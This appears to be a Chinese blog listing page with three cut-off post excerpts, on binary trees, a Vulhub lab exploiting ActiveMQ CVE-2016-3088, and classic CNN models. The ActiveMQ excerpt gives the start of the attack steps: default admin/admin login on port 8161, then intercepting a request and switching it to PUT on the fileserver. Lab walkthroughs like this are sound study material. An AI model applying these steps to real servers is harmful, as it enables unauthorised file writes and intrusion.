目录 一、树 1.定义 &#xff08;1&#xff09;树的构成 &#xff08;2&#xff09;度 2.二叉树 &#xff08;1&#xff09;定义 &#xff08;2&#xff09;二叉树的遍历 &#xff08;3&#xff09;遍历特性 二、练习 1.二叉树 &#xff08;1&#xff09;创建二叉树…

Vulhub靶机 ActiveMQ任意 文件写入(CVE-2016-3088)(渗透测试详解)

一、开启vulhub环境 docker-compose up -d 启动 docker ps 查看开放的端口 漏洞版本&#xff1a;ActiveMQ在5.14.0之前的版本&#xff08;不包括5.14.0&#xff09; 二、访问靶机IP 8161端口 默认账户密码都是admin 1、利用bp抓包&#xff0c;修改为PUT方法并在fileserver…

跟着李沐老师学习深度学习(十一)

经典的卷积神经网络 在本次笔记中主要介绍一些经典的卷积神经网络模型&#xff0c;主要包含以下&#xff1a; LeNet&#xff1a;最早发布的卷积神经网络之一&#xff0c;目的是识别图像中的手写数字&#xff1b;AlexNet&#xff1a; 是第一个在大规模视觉竞赛中击败传统计算机…